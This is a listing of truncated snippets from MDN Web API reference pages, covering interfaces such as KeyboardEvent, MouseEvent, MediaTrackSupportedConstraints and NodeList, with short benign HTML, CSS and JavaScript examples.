JavaScript-based object-oriented database. IndexedDB lets you store and retrieve objects that are indexed with a key; any objects supported by the structured clone algorithm can be stored. You need to specify the database schema, open a connection to your database, and then retrieve and update data within a series of transactions. Read more about the Concepts behind IndexedDB. Learn to use IndexedDB asy...
InputEvent.inputType - Web APIs
put events on an editable <div>. HTML <p id="log">Input type: </p> <div contenteditable="true" style="margin: 20px;padding: 20px;border:2px dashed red;"> <p>Some sample text. Try inserting line breaks, or deleting text in different ways, or pasting different content in.</p> <hr> <ul> <li>A sample</li> <li>bulleted</li> <li>list.</li> </ul> <p>Another paragraph.</p> </div>
JavaScript const log = document.getElementById('log'); const editable = document.querySelector('div[contenteditable]'); editable.addEventListener('input', logInputType); function logInputType(event) { log.textContent = `Input type: ${event.inputType}`; } Result Try editing the text inside the <div> and see what happens. Note: See also Masayuki Nakano's InputEvent test suite for a more detailed ex...
install - Web APIs
ing the installation is whitelisted. Returns install returns True if the function succeeded and False if it did not, but these values are not always reliable as a determinant of the success of the operation. To surface detail about the status of the installation, use the optional callback function and its status parameter, as in the example below. Description In the example below, a special
JavaScript object constructor is used to create an object that can be passed to the install() method. The { } constructor takes a comma-delimited set of label/value pairs. For installations, these pairs are the XPInstall confirm dialog display name and the path of the XPI, respectively. In the example below, a single installation object is created, but you can use this approach to create multiple installat...
InstallTrigger - Web APIs
een implementations and the behavior may change in the future. The InstallTrigger interface is an interesting outlier in the Apps API; it's included in this API but are inherited from the old Mozilla XPInstall technology for installing add-ons. It is used for triggering the download and installation of an add-on (or anything packaged in an .xpi file) from a Web page, using
JavaScript code to kick off the install process. Note: This article needs to be updated somewhat. Overview For very simple installations, the install methods on the InstallTrigger object may be all that's needed in the installation script. For more complex installations, you may need to use the Install and/or File installation objects. In either case, you must t...
KeyboardEvent.altKey - Web APIs
The KeyboardEvent.altKey read-only property is a Boolean that indicates if the alt key (Option or ? on OS X) was pressed (true) or not (false) when the event occured. Syntax var altKeyPressed = instanceOfKeyboardEvent.altKey Return value Boolean Examples <html> <head> <title>altKey example</title> <script type="text/
javascript"> function showChar(e){ alert( "Key KeyDown: " + String.fromCharCode(e.charCode) + "\n" + "charCode: " + e.charCode + "\n" + "ALT key KeyDown: " + e.altKey + "\n" ); } </script> </head> <body onkeydown="showChar(event);"> <p> Press any character key, with or without holding down the ALT key.<br /> You can also use the SHIFT key together with the ALT key. </p> </body> </html> Specifications Specification Status Comment Docum...
KeyboardEvent.charCode - Web APIs
of a character key pressed during a keypress event. Do not use this property, as it is deprecated. Use the key property instead. Syntax var code = event.charCode; Return value A number that represents the Unicode value of the character key that was pressed. Example HTML <p>Type anything into the input box below to log a <code>charCode</code>.</p> <input type="text" /> <p id="log"></p>
JavaScript let input = document.querySelector('input'); let log = document.querySelector('#log'); input.addEventListener('keypress', function(e) { log.innerText = `Key pressed: ${String.fromCharCode(e.charCode)}\ncharCode: ${e.charCode}`; }); Result Notes In a keypress event, the Unicode value of the key pressed is stored in either the keyCode or charCode property, but never both. If the key pres...
KeyboardEvent.ctrlKey - Web APIs
The KeyboardEvent.ctrlKey read-only property returns a Boolean that indicates if the control key was pressed (true) or not (false) when the event occured. ...
Key Values - Web APIs
The tables below list the standard key values in various categories of key, with an explanation of what the key is typically used for. Corresponding virtual keycodes for common platforms are included where available. Learn how to use these key values in
JavaScript using KeyboardEvent.key Special Values | Modifier Keys | Whitespace Keys | Navigation Keys | Editing Keys | UI Keys | Device Keys | IME and Composition Keys | Function Keys | Phone Keys | Multimedia Keys | Audio Control Keys | TV Control Keys | Media Controller Keys | Speech Recognition Keys | Document Keys | Application Selector Keys | Browser Control Keys | Numeric Keypad Keys Special values Values of key which have special meanings other than identifying a specific key or character. KeyboardEvent.key Value Des...
KeyboardEvent.key - Web APIs
</div> <div class="flex"> <pre id="console-log"></pre> </div> </div> CSS .fx { -webkit-display: flex; display: flex; margin-left: -20px; margin-right: -20px; } .fx > div { padding-left: 20px; padding-right: 20px; } .fx > div:first-child { width: 30%; } .flex { -webkit-flex: 1; flex: 1; } #test-target { display: block; width: 100%; margin-bottom: 10px; }
JavaScript let textarea = document.getElementById('test-target'), consoleLog = document.getElementById('console-log'), btnClearConsole = document.getElementById('btn-clear-console'); function logMessage(message) { document.getElementById("console-log").innerHTML += message + "<br>"; } textarea.addEventListener('keydown', (e) => { if (!e.repeat) logMessage(`Key "${e.key}" pressed [event: keydown]...
KeyboardEvent.shiftKey - Web APIs
The KeyboardEvent.shiftKey read-only property is a Boolean that indicates if the shift key was pressed (true) or not (false) when the event occurred. ...
KeyboardEvent.which - Web APIs
) for an alphanumeric key pressed. Syntax var keyResult = event.which; Return value keyResult contains the numeric code for a particular key pressed, depending on whether an alphanumeric or non-alphanumeric key was pressed. Please see KeyboardEvent.charCode and KeyboardEvent.keyCode for more details. ...
KeyframeEffect.setKeyframes() - Web APIs
pecify property-value pairs for any of the animatable css properties. The property names are specified using camel-case so for example background-color becomes backgroundColor and background-position-x becomes backgroundPositionX. Shorthand values such as margin are also permitted. Two exceptional CSS properties are: float, which must be written as cssFloat since "float" is a reserved word in
JavaScript. It's just for reference here, this will have no effect on animation since "float" is not an animatable CSS property. offset, which must be written as cssOffset since "offset" represents the keyframe offset as described below. The following special attributes may also be specified: offset The offset of the keyframe specified as a number between 0.0 and 1.0 inclusive or null. This is equi...
Location - Web APIs
family:monospace; position:absolute; top:100%; width:100%; left:50%; margin-left:-50%; font-size:40%; line-height:1.5; background:black;} [title]:hover:before, :target:before {background:black; color:yellow;} [title] [title]:before {margin-top:1.5em;} [title] [title] [title]:before {margin-top:3em;} [title]:hover, :target {position:relative; z-index:1; outline:50em solid rgba(255,255,255,.8);}
JavaScript [].forEach.call(document.querySelectorAll('[title][id]'), function (node) { node.addEventListener("click", function(e) { e.preventDefault(); e.stopPropagation(); window.location.hash = '#' + $(this).attr('id'); }); }); [].forEach.call(document.querySelectorAll('[title]'), function (node) { node.addEventListener("click", function(e) { e.preventDefault(); e.stopPropagatio...
MSManipulationEvent.initMSManipulationEvent() - Web APIs
Non-standard This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future. The initMSManipulationEvent method is used to create a MSManipulationEvent that can be called from
JavaScript. This proprietary method is specific to Internet Explorer. Beginning with the Microsoft Edge browser, the initEvent() constructor pattern for synthetic events is deprecated. Syntax MSManipulationEvent.initMSManipulationEvent(typeArg, canBubbleArg, cancelableArg, viewArg, detailArg, lastState, currentState); Parameters typeArg [in] Type: DOMString The type of the event being created. canBub...
MSManipulationEvent - Web APIs
anipulationEvent provides contextual information when contact is made to the screen and an element is manipulated. This proprietary method is specific to Internet Explorer. Events MSManipulationStateChanged: Event fires when the state of an element being manipulated has changed. Methods MSManipulationEvent.initMSManipulationEvent(): Used to create a manipulation event that can be called from
JavaScript. Properties Property Description currentStateRead only Returns the current state of a manipulation event. inertiaDestinationXRead only Represents the predicted horizontal scroll offset after the inertia phase completes. inertiaDestinationYRead only Represents the predicted vertical scroll offset after the inertia phase completes. l...
MSSiteModeEvent - Web APIs
Cancels the default action of an event. stopImmediatePropagation Prevents any further propagation of an event. stopPropagation Prevents propagation of an event beyond the current target. Properties Property Description actionURL Gets the URL of a Jump List item that is removed. *This property is not supported for Windows Store apps using
JavaScript. bubbles Gets a value that indicates whether an event propagates up from the event target. buttonID Gets the Thumbnail Toolbar button ID that is clicked. *This property is not supported for Windows Store apps using
JavaScript. cancelable Gets a value that indicates whether you can cancel an event's default action. cancelBubble Gets or sets a value t...
MathMLElement - Web APIs
DocumentAndElementEventHandlers, Element, ElementCSSInlineStyle, GlobalEventHandlers, HTMLOrForeignElement Methods This interface has no methods, but inherits methods from: DocumentAndElementEventHandlers, Element, ElementCSSInlineStyle, GlobalEventHandlers, HTMLOrForeignElement Examples MathML <math xmlns="http://www.w3.org/1998/Math/MathML"> <msqrt> <mi>x</mi> </msqrt> </math>
JavaScript document.querySelector('msqrt').constructor.name; // MathMLElement Specifications Specification Status Comment MathMLElement interface ...
MediaDevices.getSupportedConstraints() - Web APIs
ported by the user agent. Because only constraints supported by the user agent are included in the list, each of these Boolean properties has the value true. Example This example outputs a list of the constraints supported by your browser. ...
MediaDevices.getUserMedia() - Web APIs
erMedia() is not permitted to be called: A document loaded into a sandboxed <iframe> element cannot call getUserMedia() unless the <iframe> has its sandbox attribute set to allow-same-origin. A document loaded using a data:// or blob:// URL which has no origin (such as when one of these URLs is typed by the user into the address bar) cannot call getUserMedia(). These kinds of URLs loaded from
JavaScript code inherit the script's permissions. Any other situation in which there is no origin, such as when the srcdoc attribute is used to specify the contents of a frame. Examples Width and height This example gives a preference for camera resolution, and assigns the resulting MediaStream object to a video element. // Prefer camera resolution nearest to 1280x720. var constraints = { audio: true,...
MediaDevices.ondevicechange - Web APIs
let videoElement = document.getElementById("video"); let logElement = document.getElementById("log"); function log(msg) { logElement.innerHTML += msg + "<br>"; } document.getElementById("startButton").addEventListener("click", func...
MediaPositionState.position - Web APIs
, play, forward, reverse, and other controls. Syntax let positionState = { position: timeInSeconds }; let duration = positionState.duration; Value A floating-point value indicating the current playback position within the media currently being performed, in seconds. This value should always be zero or more. Example In this example, a player for a non-standard media file format, written in
JavaScript, uses setInterval() to establish a callback which fires once per second to refresh the position information by calling setPositionState(). If the media is still playing when the interval is fired, setPositionState() is called with an object that specifies the duration, playback rate, and position as reported by a myMedia object that describes the track being played. If the media is not playing, ...
MediaQueryList.media - Web APIs
The media read-only property of the MediaQueryList interface is a DOMString representing a serialized media query. Syntax var media = MediaQueryList.media; Value A DOMString representing a serialized media query. Examples This example runs the media query (max-width: 600px) and displays the value of the resulting MediaQueryList's media property in a <span>.
JavaScript let mql = window.matchMedia('(max-width: 600px)'); document.querySelector(".mq-value").innerText = mql.media; The
JavaScript code simply passes the media query to match into matchMedia() to compile it, then sets the <span>'s innerText to the value of the result's media property. HTML <span class="mq-value"></span> A simple <span> to receive the output. CSS .mq-value { font: 18px arial, sans-serif; font-weight: bol...
MediaRecorderErrorEvent() - Web APIs
the error object to be created. It must contain the error property at a minimum. error A DOMException that describes the error that occurred. This object's name property should indicate the name of the error that occurred. The other fields may or may not be present. Some user agents add to the error object other properties that provide information such as stack dumps, the name of the
JavaScript file and the line number where the error occurred, and other debugging aids, but you should not rely on this information in a production environment. Specifications Specification Status Comment MediaStream RecordingThe definition of 'MediaRecorderErrorEvent()' in that specification. Working Draft Initial definition. ...
MediaSession.setPositionState() - Web APIs
cleared. Return value undefined. Exceptions TypeError This error can occur in an array of circumstances: The specified MediaPositionState object's duration is missing, negative, or null. position is missing or null, or is either negative or greater than duration. The playbackRate is zero. Example In this example, a player for a non-standard media file format, written in
JavaScript, uses setInterval() to establish a callback which fires once per second to refresh the position information by calling setPositionState(). If the media is still playing when the interval is fired, setPositionState() is called with an object that specifies the duration, playback rate, and position as reported by a myMedia object that describes the track being played. If the media is not playing, ...
MediaStream.onaddtrack - Web APIs
Stream instance. This happens when a new track of any kind is added to the media stream. This event is fired when the browser adds a track to the stream (such as when a RTCPeerConnection is renegotiated or a stream being captured using HTMLMediaElement.captureStream() gets a new set of tracks because the media element being captured loaded a new source. The addtrack event does not get fired when
JavaScript code explicitly adds tracks to the stream (by calling addTrack()). Syntax MediaStream.onaddtrack = eventHandler; Value This should be set to a function which you provide that accepts as input a MediaStreamTrackEvent object representing the addtrack event which has occurred. The MediaStreamTrack representing the track which was added is specified in the event's track property. Example This ...
MediaStream.onremovetrack - Web APIs
nstance. This happens when a track of any kind is removed from the media stream. This event is fired when the browser removes a track from the stream (such as when a RTCPeerConnection is renegotiated or a stream being captured using HTMLMediaElement.captureStream() gets a new set of tracks because the media element being captured loaded a new source. The removetrack event does not get fired when
JavaScript code explicitly removes tracks from the stream (by calling removeTrack()). Syntax MediaStream.onremovetrack = eventHandler; Value This should be set to a function which you provide that accepts as input a MediaStreamTrackEvent object representing the removetrack event which has occurred. The MediaStreamTrack representing the track which was removed is specified in the event's track property.
MediaStreamTrack.remote - Web APIs
The MediaStreamTrack.remote read-only property allows
Javascript to know whether a WebRTC MediaStreamTrack is from a remote source or a local one. It returns a Boolean with a value of true if the track is sourced remotely (that is, sourced by an RTCPeerConnection), or false if it is sourced locally. Syntax var bool = track.remote; ...
Using the MediaStream Recording API - Web APIs
on the recording and playback functionality for this article. You can see this demo running live, or grab the source code on GitHub. CSS goodies The HTML is pretty simple in this app, so we won't go through it here; there are a couple of slightly more interesting bits of CSS worth mentioning, however, so we'll discuss them below. If you are not interested in CSS and want to get straight to the
JavaScript, skip to the Basic app setup section. Keeping the interface constrained to the viewport, regardless of device height, with calc() The calc() function is one of those useful little utility features that's cropped up in CSS that doesn't look like much initially, but soon starts to make you think "Wow, why didn't we have this before? Why was CSS2 layout so awkward?" It allows you do a calculation ...
MediaTrackSupportedConstraints.aspectRatio - Web APIs
e This property is present in the dictionary (and its value is always true) if the user agent supports the aspectRatio constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().aspectRatio) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'aspectRatio' in that specification. Candidate Recomm...
MediaTrackSupportedConstraints.autoGainControl - Web APIs
the autoGainControl constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example This example simply displays whether or not your browser supports the autoGainControl constraint. HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().autoGainControl) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'autoGainControl' in that specification. Candidat...
MediaTrackSupportedConstraints.channelCount - Web APIs
This property is present in the dictionary (and its value is always true) if the user agent supports the channelCount constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().channelCount) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'channelCount' in that specification. Candidate Recommen...
MediaTrackSupportedConstraints.deviceId - Web APIs
alue This property is present in the dictionary (and its value is always true) if the user agent supports the deviceId constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().deviceId) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'deviceId' in that specification. Candidate Recommendation ...
MediaTrackSupportedConstraints.echoCancellation - Web APIs
is property is present in the dictionary (and its value is always true) if the user agent supports the echoCancellation constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().echoCancellation) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'echoCancellation' in that specification. Candidate ...
MediaTrackSupportedConstraints.facingMode - Web APIs
facingMode; Value This property is present in the dictionary (and its value is always true) if the user agent supports the facingMode constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML <div id="result"> </div> CSS #result { font: 14px "Arial", sans-serif; }
JavaScript let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().facingMode) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'facingMode' in that specification. Candidate Recommendation ...
MediaTrackSupportedConstraints.frameRate - Web APIs
lue This property is present in the dictionary if the user agent supports the frameRate constraint. If the property isn't present, the user agent doesn't allow specifying limits on the frame rate for video tracks. If this property is present, its value is always true. Example This simple example looks to see if your browser supports constraining the frame rate when requesting video tracks. ...
MediaTrackSupportedConstraints.groupId - Web APIs
Value This property is present in the dictionary (and its value is always true) if the user agent supports the groupId constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().groupId) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'groupId' in that specification. Candidate Recommendation ...
MediaTrackSupportedConstraints.height - Web APIs
Value This property is present in the dictionary (and its value is always true) if the user agent supports the height constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().height) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'height' in that specification. Candidate Recommendation In...
MediaTrackSupportedConstraints.latency - Web APIs
Value This property is present in the dictionary (and its value is always true) if the user agent supports the latency constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().latency) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'latency' in that specification. Candidate Recommendation ...
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
e suppression on audio tracks). If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example This example simply displays whether or not your browser supports the noiseSuppression constraint. HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().noiseSuppression) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'noiseSuppression' in that specification. Candid...
MediaTrackSupportedConstraints.sampleRate - Web APIs
ue This property is present in the dictionary (and its value is always true) if the user agent supports the sampleRate constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().sampleRate) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'sampleRate' in that specification. Candidate Recommendati...
MediaTrackSupportedConstraints.sampleSize - Web APIs
ue This property is present in the dictionary (and its value is always true) if the user agent supports the sampleSize constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().sampleSize) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'sampleSize' in that specification. Candidate Recommendati...
MediaTrackSupportedConstraints.width - Web APIs
Value This property is present in the dictionary (and its value is always true) if the user agent supports the width constraint. If the property isn't present, this property is missing from the supported constraints dictionary, and you'll get undefined if you try to look at its value. Example HTML content <div id="result"> </div> CSS content #result { font: 14px "Arial", sans-serif; }
JavaScript content let result = document.getElementById("result"); if (navigator.mediaDevices.getSupportedConstraints().width) { result.innerHTML = "Supported!"; } else { result.innerHTML = "Not supported!"; } Result Specifications Specification Status Comment Media Capture and StreamsThe definition of 'width' in that specification. Candidate Recommendation Init...
Using the Media Capabilities API - Web APIs
tion> <option>24</option> <option selected>15</option> </select> </li> <li> <label for="bitrate">Select a bitrate</label> <select id="bitrate"> <option>4000</option> <option>2500</option> <option>800</option> </select> </li> </ul> <p><input type="button" value="Test this Video Configuration" id="tryit"></p> </form> <ul id="results"></ul>
JavaScript let mc = { videoConfiguration : new Object(), tryit: function () { mc.createConfiguration(); mc.testit(); }, createConfiguration: function () { var size = document.getElementById('size').value.split('x'); mc.videoConfiguration = { type: 'file', video: { contentType: document.getElementById('codec').value, width: size[0], height: size[1]...
MessageEvent - Web APIs
appropriate, e.g. in channel messaging or when sending a message to a shared worker). Methods This interface also inherits methods from its parent, Event. initMessageEvent() Initializes a message event. Do not use this anymore -- use the MessageEvent() constructor instead. Examples In our Basic shared worker example (run shared worker), we have two HTML pages, each of which uses some
JavaScript to perform a simple calculation. The different scripts are using the same worker file to perform the calculation -- they can both access it, even if their pages are running inside different windows. The following code snippet shows creation of a SharedWorker object using the SharedWorker() constructor. Both scripts contain this: var myWorker = new SharedWorker('worker.js'); Both scripts then ...
MouseEvent.altKey - Web APIs
yboards, this key is also known as the option key. Syntax var altKeyPressed = instanceOfMouseEvent.altKey Return value A Boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. Example This example logs the altKey property when you trigger a click event. HTML <p>Click anywhere to test the <code>altKey</code> property.</p> <p id="log"></p>
JavaScript let log = document.querySelector('#log'); document.addEventListener('click', logKey); function logKey(e) { log.textContent = `The alt key is pressed: ${e.altKey}`; } Result Specifications Specification Status Comment Document Object Model (DOM) Level 3 Events SpecificationThe definition of 'MouseEvent.altkey' in that specification. Obsolete No change from Do...
MouseEvent.button - Web APIs
for left-handed use may have the button actions reversed. Some pointing devices only have one button and use keyboard or other input mechanisms to indicate main, secondary, auxilary, etc. Others may have many buttons mapped to different functions and button values. ...
MouseEvent.buttons - Web APIs
y button (usually the right button) 4 : Auxiliary button (usually the mouse wheel button or middle button) 8 : 4th button (typically the "Browser Back" button) 16 : 5th button (typically the "Browser Forward" button) Example This example logs the buttons property when you trigger a mousedown event. ...
MouseEvent.clientX - Web APIs
instanceOfMouseEvent.clientX Return value A double floating point value, as redefined by the CSSOM View Module. Originally, this property was defined as a long integer. See the "Browser compatibility" section for details. Example This example displays your mouse's coordinates whenever you trigger the mousemove event. ...
MouseEvent.clientY - Web APIs
instanceOfMouseEvent.clientY Return value A double floating point value, as redefined by the CSSOM View Module. Originally, this property was defined as a long integer. See the "Browser compatibility" section for details. Example This example displays your mouse's coordinates whenever you trigger the mousemove event. ...
MouseEvent.ctrlKey - Web APIs
intosh keyboards, this key is the control key. Syntax var ctrlKeyPressed = instanceOfMouseEvent.ctrlKey Return value A Boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. Example This example logs the ctrlKey property when you trigger a click event. HTML <p>Click anywhere to test the <code>ctrlKey</code> property.</p> <p id="log"></p>
JavaScript let log = document.querySelector('#log'); document.addEventListener('click', logKey); function logKey(e) { log.textContent = `The ctrl key is pressed: ${e.ctrlKey}`; } Result Specifications Specification Status Comment Document Object Model (DOM) Level 3 Events SpecificationThe definition of 'MouseEvent.ctrlKey' in that specification. Obsolete No change from...
MouseEvent.initMouseEvent() - Web APIs
y whether or not meta key was depressed during the Event. Sets the value of MouseEvent.metaKey. button the event's mouse button. relatedTarget the event's related EventTarget. Only used with some event types (e.g., mouseover and mouseout). In other cases, pass null. ...
MouseEvent.metaKey - Web APIs
ws keyboards, this key is the Windows key (?). Syntax var metaKeyPressed = instanceOfMouseEvent.metaKey Return value A Boolean, where true indicates that the key is pressed, and false indicates that the key is not pressed. Example This example logs the metaKey property when you trigger a click event. HTML <p>Click anywhere to test the <code>metaKey</code> property.</p> <p id="log"></p>
JavaScript let log = document.querySelector('#log'); document.addEventListener('click', logKey); function logKey(e) { log.textContent = `The meta key is pressed: ${e.metaKey}`; } Result Specifications Specification Status Comment Document Object Model (DOM) Level 3 Events SpecificationThe definition of 'MouseEvent.metaKey' in that specification. Obsolete No change from...
MouseEvent.movementX - Web APIs
he given event and the previous mousemove event. In other words, the value of the property is computed like this: currentEvent.movementX = currentEvent.screenX - previousEvent.screenX. Syntax var xShift = instanceOfMouseEvent.movementX; Return value A number Example This example logs the amount of mouse movement using movementX and movementY. ...
MouseEvent.movementY - Web APIs
he given event and the previous mousemove event. In other words, the value of the property is computed like this: currentEvent.movementY = currentEvent.screenY - previousEvent.screenY. Syntax var yShift = instanceOfMouseEvent.movementY; Return value A number Example This example logs the amount of mouse movement using movementX and movementY. HTML <p id="log">Move your mouse around.</p>
JavaScript function logMovement(event) { log.innerText = `movement: ${event.movementX}, ${event.movementY}\n${log.innerText}`; } const log = document.getElementById('log'); document.addEventListener('mousemove', logMovement); Result Specifications Specification Status Comment Pointer LockThe definition of 'MouseEvent.movementY' in that specification. Candidate Recommendat...
Online and offline events - Web APIs
ou can't prevent the user from coming online, or going offline). Firefox 41 fires these events when the OS reports a change in network connectivity on Windows, Linux, and OS X. You can register listeners for these events in a few familiar ways: using addEventListener on the window, document, or document.body by setting the .ononline or .onoffline properties on document or document.body to a
JavaScript Function object. (Note: using window.ononline or window.onoffline will not work for compatibility reasons.) by specifying ononline="..." or onoffline="..." attributes on the <body> tag in the HTML markup. Example There's a simple test case that you can run to verify that the events are working (does not work in Chrome due to attaching the event listener to document.body). Here's the JavaScri...
NavigatorPlugins.plugins - Web APIs
gins or navigator.mimeTypes by exact name instead of enumerating the navigator.plugins array and comparing every plugin's name. This privacy change does not disable any plugins; it just hides some plugin names from enumeration. Syntax var plugins = navigator.plugins; plugins is PluginArray object used to access Plugin objects either by name or as a list of items. The returned value is not a
JavaScript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and namedItem("name") methods. Examples The following example function returns the version of the Shockwave Flash plugin. function getFlashVersion() { var flash = navigator.plugins.namedItem('Shockwave Flash'); if (typeof flash != 'object') { // fla...
Node.removeChild() - Web APIs
out having to specify its parent node: let node = document.getElementById("nested"); if (node.parentNode) { node.parentNode.removeChild(node); } To remove all children from an element: let element = document.getElementById("top"); while (element.firstChild) { element.removeChild(element.firstChild); } Causing a TypeError <!--Sample HTML code--> <div id="top"> </div> <script type="text/
javascript"> let top = document.getElementById("top"); let nested = document.getElementById("nested"); // Throws Uncaught TypeError let garbage = top.removeChild(nested); </script> Causing a NotFoundError <!--Sample HTML code--> <div id="top"> <div id="nested"></div> </div> <script type="text/
javascript"> let top = document.getElementById("top"); let nested = document.getElementById("nest...
NodeList.item() - Web APIs
the index is out of range, and a TypeError is thrown if no argument is provided. Syntax nodeItem = nodeList.item(index) nodeList is a NodeList. This is usually obtained from another DOM property or method, such as childNodes. index is the index of the node to be fetched. The index is zero-based. nodeItem is the indexth node in the nodeList returned by the item method. ...
NodeList - Web APIs
iterate over the items in the NodeList, and whether you should cache the list's length. Properties NodeList.length The number of nodes in the NodeList. Methods NodeList.item() Returns an item in the list by its index, or null if the index is out-of-bounds. An alternative to accessing nodeList[i] (which instead returns undefined when i is out-of-bounds). This is mostly useful for non-
JavaScript DOM implementations. NodeList.entries() Returns an iterator, allowing code to go through all key/value pairs contained in the collection. (In this case, the keys are numbers starting from 0 and the values are nodes.) NodeList.forEach() Executes a provided function once per NodeList element, passing the element as an argument to the function. NodeList.keys() Returns an iterator, allowing cod...
NonDocumentTypeChildNode.nextElementSibling - Web APIs
The NonDocumentTypeChildNode.nextElementSibling read-only property returns the element immediately following the specified one in its parent's children list, or null if the specified element is the last one in the list. ...
PageTransitionEvent - Web APIs
"#4D4E53" text-anchor="middle" alignment-baseline="middle">PageTransitionEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties This interface also inherits properties from its parent, Event. PageTransitionEvent.persisted Read only Indicates if the document is loading from a cache. Example HTML <!DOCTYPE html> <html> <body> </body> </html>
JavaScript window.addEventListener('pageshow', myFunction); function myFunction(event) { if (event.persisted) { alert("The page was cached by the browser"); } else { alert("The page was NOT cached by the browser"); } } Specifications Specification Status Comment HTML Living StandardThe definition of 'PageTransitionEvent' in that specification. Living Standa...
PaintWorklet - Web APIs
Returns the current device's ratio of physical pixels to logical pixels. Event handlers None. Methods This interface inherits methods from Worklet. PaintWorklet.registerPaint() Registers a class programmatically generate an image where a CSS property expects a file. CSS.PaintWorklet.addModule() The addModule() method, inhertied from the Worklet interface loads the module in the given
JavaScript file and adds it to the current PaintWorklet. Examples The following three examples go together to show creating, loading, and using a PaintWorklet. Create a PaintWorklet The following shows an example worklet module. This should be in a separate js file. Note that registerPaint() is called without a reference to PaintWorklet. class CheckerboardPainter { paint(ctx, geom, properties) { ...
ParentNode.children - Web APIs
ly property that returns a live HTMLCollection which contains all of the child elements of the node upon which it was called. Syntax let children = node.children; Value An HTMLCollection which is a live, ordered collection of the DOM elements which are children of node. You can access the individual child nodes in the collection by using either the item() method on the collection, or by using
JavaScript array-style notation. If the node has no element children, then children is an empty list with a length of 0. Example const foo = document.getElementById('foo'); for (let i = 0; i < foo.children.length; i++) { console.log(foo.children[i].tagName); } Polyfill // Overwrites native 'children' prototype. // Adds Document & DocumentFragment support for IE9 & Safari. // Returns array instead of...
ParentNode.querySelector() - Web APIs
st be a valid compound selector list supported by the browser; if it's not, a SyntaxError exception is thrown. See Locating DOM elements using selectors for more information about using selectors to identify elements. Multiple selectors may be specified by separating them using commas. Note: Characters which are not part of standard CSS syntax must be escaped using a backslash character. Since
